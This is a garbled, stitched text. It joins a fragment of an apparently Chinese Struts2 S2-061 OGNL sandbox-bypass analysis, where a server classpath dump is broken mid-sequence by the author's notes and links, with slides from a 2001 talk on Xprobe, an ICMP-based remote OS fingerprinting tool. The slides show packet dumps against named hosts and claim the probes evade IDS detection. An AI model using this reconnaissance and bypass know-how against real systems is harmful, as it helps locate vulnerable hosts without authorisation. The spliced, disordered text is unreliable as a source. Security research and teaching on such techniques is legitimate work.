org.apache.catalina.jsp_classpath=/D:/java/apache-tomcat- 8.5.57/lib/;/D:/java/apache-tomcat-8.5.57/lib/annotations- api.jar;/D:/java/apache-tomcat-8.5.57/lib/catalina- ant.jar;/D:/java/apache-tomcat-8.5.57/lib/catalina-ha.jar;/D:/java/apache- tomcat-8.5.57/lib/catalina-storeconfig.jar;/D:/java/apache-tomcat- 8.5.57/lib/catalina-tribes.jar;/D:/java/apache-tomcat- 8.5.57/lib/catalina.jar;/D:/java/apache-tomcat-8.5.57/lib/ecj- 4.6.3.jar;/D:/java/apache-tomcat-8.5.57/lib/el-api.jar;/D:/java/apache- tomcat-8.5.57/lib/jasper-el.jar;/D:/java/apache-tomcat- 8.5.57/lib/jasper.jar;/D:/java/apache-tomcat-8.5.57/lib/jaspic- api.jar;/D:/java/apache-tomcat-8.5.57/lib/jsp-api.jar;/D:/java/apache- tomcat-8.5.57/lib/servlet-api.jar;/D:/java/apache-tomcat- 8.5.57/lib/tomcat-api.jar;/D:/java/apache-tomcat-8.5.57/lib/tomcat- coyote.jar;/D:/java/apache-tomcat-8.5.57/lib/tomcat- dbcp.jar;/D:/java/apache-tomcat-8.5.57/lib/tomcat-i18n- de.jar;/D:/java/apache-tomcat-8.5.57/lib/tomcat-i18n- es.jar;/D:/java/apache-tomcat-8.5.57/lib/tomcat-i18n- fr.jar;/D:/java/apache-tomcat-8.5.57/lib/tomcat-i18n- ja.jar;/D:/java/apache-tomcat-8.5.57/lib/tomcat-i18n- ko.jar;/D:/java/apache-tomcat-8.5.57/lib/tomcat-i18n- ru.jar;/D:/java/apache-tomcat-8.5.57/lib/tomcat-i18n-zh- CN.jar;/D:/java/apache-tomcat-8.5.57/lib/tomcat-jdbc.jar;/D:/java/apache- tomcat-8.5.57/lib/tomcat-jni.jar;/D:/java/apache-tomcat-8.5.57/lib/tomcat- util-scan.jar;/D:/java/apache-tomcat-8.5.57/lib/tomcat- util.jar;/D:/java/apache-tomcat-8.5.57/lib/tomcat- websocket.jar;/D:/java/apache-tomcat-8.5.57/lib/websocket- api.jar;/D:/java/apache-tomcat-8.5.57/bin/bootstrap.jar;/D:/java/apache- tomcat-8.5.57/bin/tomcat- juli.jar;/C:/Users/Administrator/AppData/Local/JetBrains/IntelliJIdea2020. 1/captureAgent/debugger-agent.jar;/C:/Program Files/Java/jdk1.8.0_20/jre/lib/ext/access-bridge-64.jar;/C:/Program Files/Java/jdk1.8.0_20/jre/lib/ext/cldrdata.jar;/C:/Program Files/Java/jdk1.8.0_20/jre/lib/ext/dnsns.jar;/C:/Program Files/Java/jdk1.8.0_20/jre/lib/ext/jaccess.jar;/C:/Program Files/Java/jdk1.8.0_20/jre/lib/ext/jfxrt.jar;/C:/Program Files/Java/jdk1.8.0_20/jre/lib/ext/localedata.jar;/C:/Program Files/Java/jdk1.8.0_20/jre/lib/ext/nashorn.jar;/C:/Program Files/Java/jdk1.8.0_20/jre/lib/ext/sunec.jar;/C:/Program Files/Java/jdk1.8.0_20/jre/lib/ext/sunjce_provider.jar;/C:/Program Files/Java/jdk1.8.0_20/jre/lib/ext/sunmscapi.jar;/C:/Program Files/Java/jdk1.8.0_20/jre/lib/ext/sunpkcs11.jar;/C:/Program 抛去⿊名单的类,好像也不剩啥了.......找到⼀个 org.apache.jasper.servlet.JspCServletContext 后来发现这个这个是静态⽅法.........罢了罢了,挖出这个洞来的⼈真⽜批.......活到⽼学到⽼ 3.漏洞信息跟进 https://cwiki.apache.org/confluence/display/WW/S2-0** https://github.com/apache/struts/ https://cwiki.apache.org/confluence/display/WW/Security+Bulletins 四、个⼈思考 以后的漏洞⼤多都⾛不到预警了,估计也都是沙箱绕过,不知道⼜会有什么绕过的⽅式,按照 061的思路是context中?root⾥?还会取到哪些可⽤的类?我看到的⼏个能⽤的都是静态⽅ 法,能不能从context或root⾥获取到本地项⽬中依赖的类呢?如果可以,那可⽤的类就太多 了,就跟fastjson⼀个找法了,但是⽬前我还不知道怎么从OGNL的上下⽂或者root中获取到 这个类,不,应该说是现成的对象。 五、参考链接 https://threedr3am.github.io/2018/12/12/Struts2%20RCE%E6%BC%8F%E6%B4%9 E%E5%88%86%E6%9E%90%E7%B3%BB%E5%88%97%20-%200x01%E5%9F%BA% E7%A1%80%E7%AF%87/ https://blog.csdn.net/sxb0841901116/article/details/27358697 https://www.codenong.com/p11903500/ https://xz.aliyun.com/t/2672 https://xz.aliyun.com/t/2323 https://chybeta.github.io/2018/05/08/%E3%80%90struts2-%E5%91%BD%E4%BB% A4-%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9 E%E5%88%86%E6%9E%90%E7%B3%BB%E5%88%97%E3%80%91S2-003%E5%9 2%8CS3-005/ https://lorexxar.cn/2019/09/23/javaweb-S2/#S2-012 https://xz.aliyun.com/t/2694 Files/Java/jdk1.8.0_20/jre/lib/ext/zipfs.jar, javax.websocket.server.ServerContainer=org.apache.tomcat.websocket.server. WsServerContainer@130b70f8, org.apache.jasper.compiler.ELInterpreter=org.apache.jasper.compiler.ELInte rpreterFactory$DefaultELInterpreter@3274f993, freemarker.Configuration=freemarker.template.Configuration@23dece96, javax.servlet.context.tempdir=C:\Users\Administrator\AppData\Local\JetBrai ns\IntelliJIdea2020.1\tomcat\Unnamed_SimpleStruts_2\work\Catalina\localhos t\SimpleStruts_war_exploded, org.apache.catalina.resources=org.apache.catalina.webresources.StandardRoo t@3973af44, org.apache.tomcat.JarScanner=org.apache.tomcat.util.scan.StandardJarScanne r@5bea6370, org.apache.jasper.runtime.JspApplicationContextImpl=org.apache.jasper.runt ime.JspApplicationContextImpl@65222aab, .freemarker.Application=freemarker.ext.servlet.ServletContextHashModel@432 6af35}}" href="/SimpleStruts_war_exploded/S2061.action https://github.com/vulhub/vulhub/blob/master/struts2/ https://paper.seebug.org/247/ https://lucifaer.com/2018/12/12/S2-045%EF%BC%88CVE-2017-5638%EF%BC%8 9%E5%88%86%E6%9E%90/ https://zerokeeper.com/vul-analysis/analysis-of-struts2-s2052-vulnerability.html https://zhuanlan.zhihu.com/p/146166297 https://paper.seebug.org/682/ https://www.anquanke.com/post/id/169735#h3-1 https://www.cnblogs.com/potatsoSec/p/14111163.html
pdf
Xprobe Remote ICMP Based OS Fingerprinting Techniques Ofir Arkin Managing Security Architect © 2 0 0 1 @ S T A K E , I N C . 2 Agenda  What is Xprobe?  Xprobe 101  Examples  The Static Engine  The Signature Based Engine  More Examples  Known Problems, Detecting Xprobe’s Activity, To Do List  Questions © 2 0 0 1 @ S T A K E , I N C . 3 Xprobe Creators © 2 0 0 1 @ S T A K E , I N C . 4 What is Xprobe? Written and maintained by Fyodor Yarochkin and Ofir Arkin, Xprobe is an Active OS fingerprinting tool based on Ofir Arkin’s ICMP Usage In Scanning Research project (http://www.sys-security.com). Xprobe is an alternative to some tools which are heavily dependent upon the usage of the TCP protocol for remote active operating system fingerprinting. This is especially true when trying to identify some Microsoft based operating systems, when TCP is the protocol being used with the fingerprinting process. Since the TCP implementation with Microsoft Windows XP & Microsoft Windows 2000 and Microsoft Windows ME, and with Microsoft Windows NT 4 and Microsoft Windows 98/98SE are so close, usually when using the TCP protocol with a remote active operating systems fingerprinting process we are unable to differentiate between these Microsoft based operating system groups. …And this is only an example. © 2 0 0 1 @ S T A K E , I N C . 5 What is Xprobe? As we will demonstrate the number of datagrams we need to send and receive in order to remotely fingerprint a targeted machine with Xprobe is small. Very small. In fact we can send one datagram and receive one reply and this will help us identify up to eight different operating systems (or groups of operating systems). The maximum amount of packets used to successfully identify an operating system is maximum of 4 sent, and maximum of 4 received. …This makes Xprobe very fast as well. © 2 0 0 1 @ S T A K E , I N C . 6 What is Xprobe? Xprobe probes can be very stealthy. Xprobe does not send any malformed datagrams to detect a remote OS type, unlike the common fingerprinting methods. Xprobe analyzes the remote OS TCP/IP stack responses for valid packets. Heaps of such packets appear in an average network on daily basis and very few IDS systems are tuned to detect such traffic (and those which are, presumably are very badly configured)*. Usually when people see the types of datagrams being used by Xprobe, they will think that what have happened was a simple Host Detection attempt, while in fact the replying machines were not only detected, but their underlying operating systems were revealed as well. In the future Xprobe will be using actual application data with its probes. This will help in disguising the real intentions of the probes, and make Xprobe transparent to a lot of IDS systems. © 2 0 0 1 @ S T A K E , I N C . 7 What is Xprobe? Xprobe might change the traditional intelligence gathering approach. With the traditional approach we need to detect the availability of a Host (using a Host Detection method), find a service it is running (using port scanning), and than identify the underlying operating system (with a remote active operating system fingerprinting tool). If the targeted machine is running a service that is known to be vulnerable it may allow a malicious computer attacker to execute a remote exploit in order to gain unauthorized access to the targeted machine. With Xprobe we combine the host detection stage with the operating system detection stage. With maximum of four datagrams initiated from the prober’s machine, we are able to determine if a certain machine is running an operating system where certain vulnerabilities might be presented. © 2 0 0 1 @ S T A K E , I N C . 8 What is Xprobe? For example, a Microsoft Windows 2000 based operating system (and Microsoft Windows XP) can be identified with four datagrams traversing over the network in total (two sent and two received). Considering the amount of default installations of Microsoft Windows 2000 based systems on the Internet (with a vulnerable version of IIS 5.0 up and running) a malicious computer attacker might try to compromise a targeted machine with his third packet sent. This is especially true when our target is a web server (targeting http://www.mysite.com for example). © 2 0 0 1 @ S T A K E , I N C . 9  First Introduced at the Black Hat Briefings July 2001 Las – Vegas, USA (v0.0.1). Current versions are 0.0.2 and 0.1.  The logic behind the tool is called X.  Compiles on Linux Kernel 2.0.x, 2.2,x, and 2.4.x series, *BSD, Sun Solaris, & IRIX.  The tool is Fast, Efficient, Small, and Simple.  Xprobe has 2 development trees: 0.0.x for Static decision Tree (limited), and 0.1.x for Signature Dynamic DB support.  In the future the static side of Xprobe will be combined from different static logics (depending on the topology) where a smart dynamic fail-over mechanism is to lunch one of the logics if the start parameters of the first logic fails.  Xprobe version 0.1 works against a signature database. We are looking to add dynamic solution logic as well. Xprobe Introduction © 2 0 0 1 @ S T A K E , I N C . 10 Topology Matters  Internet  Local LAN  Between LAN Segments © 2 0 0 1 @ S T A K E , I N C . 11 Xprobe License Copyright (C) 2001 Fyodor Yarochkin, Ofir Arkin. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. All material for nonprofit, educational use only. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. © 2 0 0 1 @ S T A K E , I N C . 12 Xprobe Compilation tar xvfz xprobe-{release}.tar.gz cd xprobe-{release} ./configure (or ./configure --with-libpcap-libraries=/usr/local/lib -- with-libcap-includes=/usr/local/include) make make install © 2 0 0 1 @ S T A K E , I N C . 13 Xprobe Usage xprobe [options] hostname[/netmask] -h help -v be verbose -i <interface> run on interface -p <portnum> use <portnum> udp port for udp probe -o logfile log everything into a logfile © 2 0 0 1 @ S T A K E , I N C . 14 Example: www.defcon.org © 2 0 0 1 @ S T A K E , I N C . 15 Example: www.defcon.org Sent Datagrams Tests Performed © 2 0 0 1 @ S T A K E , I N C . 16 Example: www.defcon.org 10/19-19:31:00.791716 213.8.199.165:32426 -> 216.254.1.254:32132 UDP TTL:250 TOS:0x0 ID:47464 IpLen:20 DgmLen:98 DF Len: 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 ...... 10/19-19:31:01.161716 216.254.1.254 -> 213.8.199.165 ICMP TTL:109 TOS:0x0 ID:4224 IpLen:20 DgmLen:56 Type:3 Code:3 DESTINATION UNREACHABLE: PORT UNREACHABLE ** ORIGINAL DATAGRAM DUMP: 213.8.199.165:32426 -> 216.254.1.254:32132 UDP TTL:232 TOS:0x0 ID:47464 IpLen:20 DgmLen:98 Len: 78 ** END OF DUMP 00 00 00 00 45 00 00 62 B9 68 40 00 E8 11 61 77 [email protected] D5 08 C7 A5 D8 FE 01 FE 7E AA 7D 84 00 4E 8B 78 ........~.}..N.x Start Time © 2 0 0 1 @ S T A K E , I N C . 17 Example: www.defcon.org 10/19-19:31:01.161716 213.8.199.165 -> 216.254.1.254 ICMP TTL:250 TOS:0x6 ID:25934 IpLen:20 DgmLen:68 DF Type:8 Code:123 ID:10421 Seq:30396 ECHO 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 ........ 10/19-19:31:01.531716 216.254.1.254 -> 213.8.199.165 ICMP TTL:109 TOS:0x2 ID:4480 IpLen:20 DgmLen:68 DF Type:0 Code:0 ID:10421 Seq:30396 ECHO REPLY 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 ........ 10/19-19:31:01.531716 213.8.199.165 -> 216.254.1.254 ICMP TTL:250 TOS:0x0 ID:25006 IpLen:20 DgmLen:68 Type:13 Code:0 TIMESTAMP REQUEST 70 FC C6 DD 00 00 00 00 00 00 00 00 00 00 00 00 p............... 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 ............ 10/19-19:31:11.161716 213.8.199.165 -> 216.254.1.254 ICMP TTL:250 TOS:0x0 ID:48938 IpLen:20 DgmLen:48 Type:17 Code:0 ADDRESS REQUEST 00 00 8E 5A 00 00 00 00 00 00 00 00 00 00 00 00 ...Z............ 00 00 00 00 00 00 00 00 ........ Finish Time ~380ms [+ 250ms waiting time for the ICMP Address Mask Reply] © 2 0 0 1 @ S T A K E , I N C . 18 Example: www.defcon.org © 2 0 0 1 @ S T A K E , I N C . 19 Example: www.defcon.org © 2 0 0 1 @ S T A K E , I N C . 20 Example: www.defcon.org © 2 0 0 1 @ S T A K E , I N C . 21 Why Xprobe? - Pros  The ICMP protocol hasn't been looked onto from the point of remote OS fingerprinting. Each 'vendor' implemented it in quite relaxed manner, with 'deviations' which are continuously being reproduced in every release of TCP/IP stack from certain vendor and at times more reliable to be reproduced than TCP 'tests'.  Using some kind of “AI” (or an analysis) for a scanning tool is a lot smarter than just choking the network with huge amount of packets.  Small overhead in the Scanning process  No sudden Denial-of-Service or other „surprises‟ during the scan.  Fast - Active OS fingerprinting using the ICMP protocol uses small amount of packets sent and received.  Stealth - People think they were „pinged‟ were they actually been mapped.  Accurate - Today we are using tools that are, sometimes, inaccurate and inconsistent with their results. Version 0.1 makes Xprobe even more accurate.  Able to differentiate between any Microsoft Windows based TCP/IP Stack © 2 0 0 1 @ S T A K E , I N C . 22 Why Xprobe? - Cons  Limited to the ICMP and UDP protocols only  Internet usage can be defeated (smart firewall rule base)  Failover to TCP, or a correlation with TCP needs to be done, in a smart manner. This will lead to a very accurate Active OS fingerprinting tool using very small amount of traffic to determine a remote OS.  The Static Decision Tree is limited in adding new operating systems and networking devices (the static decision tree is hardcoded into the binary). © 2 0 0 1 @ S T A K E , I N C . 23 Xprobe – Inner Working  Xprobe has 2 development trees: 0.0.x for Static decision Tree (limited in the number of operating systems and networking devices it supports), and 0.1.x for Signature Dynamic DB support.  The difference is with the processing of the results from the tests. – With the 0.0.x dev-tree we have a predefined static decision tree. Adding operating systems and networking devices is a hard task since it needs to be hard coded. – With the 0.x dev-tree we use a signature database support. This means that in order to add support for an operating system or a networking device all we need is create an entry in the signature database. – In a sentence: Version 0.1.x - more accurate, easier and more flexible way to maintain and update signatures.  Both development trees use the same Active OS fingerprinting methods using the ICMP protocol. © 2 0 0 1 @ S T A K E , I N C . 24 Xprobe - ICMP Error Message Echoing Integrity Each ICMP error message includes the IP Header and at least the first 8 data bytes of the datagram that triggered the error (the offending datagram); more than 8 bytes may be sent according to RFC 1122. When sending back an ICMP error message, some stack implementations may alter the offending packet's IP header and the underlying protocol's data, which is echoed back with the ICMP error message. If a malicious computer attacker examines the types of alternation(s) that have been made to the offending packet's IP header and the underlying protocol data, he may be able to make certain assumptions about the target operating system. The only two field values we expect to be changed are the IP time-to-live field value and the IP header checksum. The IP TTL field value changes because the field is decreased by one, each time the IP Header is being processed. The IP header checksum is recalculated each time the IP TTL field value is decreased. © 2 0 0 1 @ S T A K E , I N C . 25 Xprobe - ICMP Error Message Echoing Integrity With Xprobe we will take advantage of ICMP Port Unreachable error messages triggered by UDP datagrams sent to close UDP ports. We will be examining several IP Header and UDP related field values of the offending packet being echoed with the ICMP Error message, for some types of alternation(s). IP Total Length Field - Some operating system IP stacks will add 20 bytes to the original IP total length field value of the offending packet, with the one echoed with the IP header of the offending packet in the ICMP Error message. Some other operating system IP stacks will decrease 20 bytes from the original IP total length field value of the offending packet, with the one echoed with the IP header of the offending packet in the ICMP Error message. …And some other operating system IP stacks will echo correctly this field value. IPID - Some operating system IP stacks will not echo the IPID field value correctly with their ICMP Error messages. They will change the bit order with the value echoed. …Other operating system IP stacks will echo correctly this field value © 2 0 0 1 @ S T A K E , I N C . 26 Xprobe - ICMP Error Message Echoing Integrity 3Bits Flags and Offset Fields - Some operating system IP stacks will not echo the 3Bits Flags and Offset fields value correctly with their ICMP Error messages. They will change the bit order with these fields. Other operating system IP stacks will echo correctly this field value. IP Header Checksum - Some operating system IP stacks will miscalculate the IP Header checksum of the offending packet echoed back with the ICMP error message. Some operating system IP stacks will zero out the IP Header checksum of the offending packet echoed back with the ICMP error message. Other operating system IP stacks will echo correctly this field value. © 2 0 0 1 @ S T A K E , I N C . 27 Xprobe - ICMP Error Message Echoing Integrity UDP Header Checksum - Some operating system IP stacks will miscalculate the UDP Header checksum of the offending packet echoed back with the ICMP error message. Some operating system IP stacks will zero out the UDP Header checksum of the offending packet echoed back with the ICMP error message. Other operating system IP stacks will echo correctly this field value. Some operating system stacks will not echo correctly several field values with the same ICMP Error Message, and not just one. This will enable us to use multiple echoing integrity tests with just one ICMP Error messages sent by a targeted machine. © 2 0 0 1 @ S T A K E , I N C . 28 Xprobe - ICMP Error Message Echoing Integrity 15:44:56.822182 ppp0 > 32.101.233.50.36196 > y.y.y.y.32132: udp 70 (DF) (ttl 250, id 2279) 4500 0062 08e7 4000 fa11 d99b 2065 e932 yyyy yyyy 8d64 7d84 004e 5661 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 15:44:57.192182 ppp0 < y.y.y.y > 32.101.233.50: icmp: y.y.y.y udp port 32132 unreachable Offending pkt: 32.101.233.50.36196 > y.y.y.y.32132: udp 70 (DF) (ttl 234, id 2279, bad cksum e99b!) (DF) (ttl 233, id 40032) 4500 0038 9c60 4000 e901 575c yyyy yyyy 2065 e932 0303 f1b1 0000 0000 4500 0076 08e7 4000 ea11 e99b 2065 e932 yyyy yyyy 8d64 7d84 004e 0000 An example with AIX 3.2 IP Total Length Field Value Echoed is 118 while the Original was 98 IP Header Checksum Echoed is Miscalculated © 2 0 0 1 @ S T A K E , I N C . 29 Xprobe - ICMP Error Message Echoing Integrity 15:47:25.342182 ppp0 > 32.101.233.50.53783 > y.y.y.y.32132: udp 70 (DF) (ttl 250, id 57568) 4500 0062 e0e0 4000 fa11 1dad 2065 e932 yyyy yyyy d217 7d84 004e 2db9 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 15:47:25.652182 ppp0 < y.y.y.y > 32.101.233.50: icmp: y.y.y.y udp port 32132 unreachable Offending pkt: 32.101.233.50.53783 > y.y.y.y.32132: udp 70 (DF) (ttl 238, id 57568) (ttl 241, id 61090) 4500 0038 eea2 0000 f101 5925 yyyy yyyy 2065 e932 0303 7f59 0000 0000 4500 004e e0e0 4000 ee11 29c1 2065 e932 yyyy yyyy d217 7d84 004e 2db9 An example with OpenBSD 2.8 IP Total Length Field Value Echoed is 20 Bytes less than the Original © 2 0 0 1 @ S T A K E , I N C . 30 Xprobe - Precedence Bits Issues Each IP Datagram has an 8-bit field called the “TOS Byte”, which represents the IP support for prioritization and Type-of-Service handling. The “TOS Byte” consists of three fields. The “Precedence field”, which is 3-bit long, is intended to prioritize the IP Datagram. It has eight levels of prioritization. The second field, 4 bits long, is the “Type-of-Service” field. It is intended to describe how the network should make tradeoffs between throughput, delay, reliability, and cost in routing an IP Datagram. The last field, the “MBZ” (must be zero), is unused and must be zero. Routers and hosts ignore this last field. This field is 1 bit long. MBZ TOS Precedence 0 3 4 5 1 2 6 7 © 2 0 0 1 @ S T A K E , I N C . 31 Xprobe - Precedence Bits Issues RFC 1812 Requirements for IP Version 4 Routers: "4.3.2.5 TOS and Precedence ICMP Source Quench error messages, if sent at all, MUST have their IP Precedence field set to the same value as the IP Precedence field in the packet that provoked the sending of the ICMP Source Quench message. All other ICMP error messages (Destination Unreachable, Redirect, Time Exceeded, and Parameter Problem) SHOULD have their precedence value set to 6 (INTERNETWORK CONTROL) or 7 (NETWORK CONTROL). The IP Precedence value for these error messages MAY be settable". Linux Kernel 2.0.x, 2.2.x, 2.4.x will act as routers and will set their Precedence bits field value to 0xc0 with ICMP error messages. Networking devices that will act the same will be Cisco routers based on IOS 11.x-12.x and Foundry Networks switches. © 2 0 0 1 @ S T A K E , I N C . 32 Xprobe - ICMP Error Message Quoting Size Each ICMP error message includes the IP Header and at least the first 8 data bytes of the datagram that triggered the error (the offending datagram); more than 8 bytes may be sent according to RFC 1122. Most of the operating systems will quote the offending packet's IP Header and the first 8 data bytes of the datagram that triggered the error. Several operating systems and networking devices will echo more than 8 data bytes. Which operating systems will quote more? Linux based on Kernel 2.0.x/2.2.x/2.4.x, Sun Solaris 2.x, HPUX 11.x, MacOS 7.x-9.x, Nokia FW boxes (and other OSs and several Networking Devices) are good examples. © 2 0 0 1 @ S T A K E , I N C . 33 Xprobe - ICMP Error Message Quoting Size An example with Linux Kernel 2.4.6 15:47:47.729742 ppp0 > x.x.x.x.47612 > y.y.y.y.32132: udp 70 (DF) (ttl 250, id 121) 4500 0062 0079 4000 fa11 c32d xxxx xxxx yyyy yyyy b9fc 7d84 004e 0aed 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 15:47:47.889742 ppp0 < y.y.y.y > x.x.x.x: icmp: y.y.y.y udp port 32132 unreachable Offending pkt: x.x.x.x.47612 > y.y.y.y.32132: udp 70 (DF) (ttl 242, id 121) [tos 0xc0] (ttl 245, id 45284) 45c0 007e b0e4 0000 f501 56f6 yyyy yyyy xxxx xxxx 0303 ba40 0000 0000 4500 0062 0079 4000 f211 cb2d xxxx xxxx yyyy yyyy b9fc 7d84 004e 0aed 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 (1) Precedence Field Vale is 0xc0 UDP Header Information (2) Data Echoed © 2 0 0 1 @ S T A K E , I N C . 34 Xprobe - Using Code Field Values Different Than Zero with ICMP Echo Requests When an ICMP code field value different than zero (0) is sent with an ICMP Echo request message (type 8), operating systems that will answer our query with an ICMP Echo reply message that are based on one of the Microsoft based operating systems will send back an ICMP code field value of zero with their ICMP Echo Reply. Other operating systems (and networking devices) will echo back the ICMP code field value we were using with the ICMP Echo Request. The Microsoft based operating systems acts in contrast to RFC 792 guidelines which instruct the answering operating systems to only change the ICMP type to Echo reply (type 0), recalculate the checksums and send the ICMP Echo reply away. © 2 0 0 1 @ S T A K E , I N C . 35 Xprobe - TOS Echoing RFC 1349 defines the usage of the Type-of-Service field with the ICMP messages. It distinguishes between ICMP error messages (Destination Unreachable, Source Quench, Redirect, Time Exceeded, and Parameter Problem), ICMP query messages (Echo, Router Solicitation, Timestamp, Information request, Address Mask request) and ICMP reply messages (Echo reply, Router Advertisement, Timestamp reply, Information reply, Address Mask reply). Simple rules are defined:  An ICMP error message is always sent with the default TOS (0x0000)  An ICMP request message may be sent with any value in the TOS field.  An ICMP reply message is sent with the same value in the TOS field as was used in the corresponding ICMP request message. Some operating systems will ignore RFC 1349 when sending ICMP echo reply messages, and will not send the same value in the TOS field as was used in the corresponding ICMP request message. © 2 0 0 1 @ S T A K E , I N C . 36 Xprobe - TOS Echoing An example with Microsoft Windows 2000 17:13:13.081831 ppp0 > x.x.x.x > y.y.y.y: icmp: echo request (DF) [tos 0x6,ECT] (ttl 250, id 2779) 4506 0044 0adb 4000 fa01 a9a9 xxxx xxxx yyyy yyyy 087b 2fff a51e 2267 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 17:13:13.231831 ppp0 < y.y.y.y > x.x.x.x.175: icmp: echo reply (DF) (ttl 115, id 59514) 4500 0044 e87a 4000 7301 5310 yyyy yyyy xxxx xxxx 0000 387a a51e 2267 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 Precedence Bits Value = 0 Code Field = 0 © 2 0 0 1 @ S T A K E , I N C . 37 Xprobe - The Rest DF Bit Will the DF Bit will be set with a reply ICMP message of any kind? IP Time-To-Live IP Time-To-Live Field Value with both ICMP Echo Requests (and ICMP Error Messages) and with ICMP Echo Replies. DF Bit Echoing What will happen if we will set the DF bit with an offending packet that will trigger an ICMP error message from a targeted machine? Will the DF Bit be set in the ICMP error message IP Header? IPID Linux Kernels 2.4.0 – 2.4.4 will send ICMP Echo replies (and requests) with an IP ID field value of 0. © 2 0 0 1 @ S T A K E , I N C . 38 Xprobe - How Do We Start? Query to a closed UDP port ICMP Port Unreachable Error Message Query to a definitely closed UDP port No Reply - Query is blocked Query to a definitely closed UDP port ICMP Port Unreachable Error Message © 2 0 0 1 @ S T A K E , I N C . 39 Xprobe - How Do We Start? UDP datagram send to a closed UDP port. Datagram sent with the DF Bit Set, and data portion of the request should contain 70 bytes (or more). 1 No ICMP Error Message Received Host Filtered / Down Future - Fail Over Logic Might Be ICMP Query Only ICMP Port Unreachable Error Message Received We Play An example with the Static logic  We query a definitely closed UDP port. http://www.isi.edu/in-notes/iana/assignments/port-numbers  An indicator is being given for the presence of a Filtering Device  If no ICMP Error Message is received, we might use the ‘query only’ logic  The size of the Offending UDP datagram is 70 bytes © 2 0 0 1 @ S T A K E , I N C . 40 We Play Precedence Bits ! = 0xc0 Precedence Bits = 0xc0 Linux Kernel 2.0.x/2.2.x/2.4.x Based CISCO Equipment (Routers) with IOS 11.x-12..x Extreme Networks Switches Others Xprobe - How Do We Start? An example with the Static logic Linux Kernel 2.0.x, 2.2.x, 2.4.x will act as routers and will set their Precedence bits field value to 0xc0 with ICMP error messages. Networking devices that will act the same will be Cisco routers based on IOS 11.x-12.x and Extreme Networks switches. © 2 0 0 1 @ S T A K E , I N C . 41 Xprobe - How Do We Start? An example with the Static logic Linux Kernel 2.0.x/2.2.x/2.4.x Based CISCO Equipment (Routers) with IOS 11.x-12..x Extreme Networks Switches TTL ~ 255 TTL ~ 64 Linux 2.0.x Linux Kernel 2.2.x/2.4.x based Amount of Echoed Data from the Offending Packet Only the IP Header and 8 Data Bytes from the Offending Packet is echoed with the ICMP Port Unreachable Error message All the Offending Packet is echoed with the ICMP Port Unreachable Error message CISCO Equipment (Routers) with IOS 11.x-12.x Extreme Networks Switches Linux Kernel 2.0.x/2.2.x/2.4.x Based UDP Checksum Echoed = 0 Extreme Networks Switches UDP Checksum Echoed is OK CISCO Routers IOS 11.x-12.x © 2 0 0 1 @ S T A K E , I N C . 42 Xprobe - How Do We Start? An example with the Static logic IPID !=0 IPID = 0 Linux Kernel 2.4.0-2.4.4 Linux Kernel 2.2.x/2.4.5 ICMP Echo Request 2 No Reply Reply Linux Kernel 2.2.x/2.4.x based A Filtering Device Prevents us from Concluding ICMP Echo mechanism is Not Filtered  Linux Kernel 2.4.0-2.4.4 will use 0 as its IPID field value with ICMP Query replies (this was later fixed with Linux Kernels 2.4.5 and above).  Linux Kernel 1.x does not set the Precedence field value to 0xc0 with ICMP error messages. © 2 0 0 1 @ S T A K E , I N C . 43 Example – www.kernel.org © 2 0 0 1 @ S T A K E , I N C . 44 Example – www.kernel.org Sent Datagrams Tests Performed © 2 0 0 1 @ S T A K E , I N C . 45 Example – www.kernel.org 10/19-19:22:38.321716 213.8.199.165:14320 -> 204.152.189.113:32132 UDP TTL:250 TOS:0x0 ID:33305 IpLen:20 DgmLen:98 DF Len: 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 ...... 10/19-19:22:38.681716 204.152.189.113 -> 213.8.199.165 ICMP TTL:240 TOS:0xC0 ID:60235 IpLen:20 DgmLen:126 Type:3 Code:3 DESTINATION UNREACHABLE: PORT UNREACHABLE ** ORIGINAL DATAGRAM DUMP: 213.8.199.165:14320 -> 204.152.189.113:32132 UDP TTL:238 TOS:0x0 ID:33305 IpLen:20 DgmLen:98 Len: 78 ** END OF DUMP 00 00 00 00 45 00 00 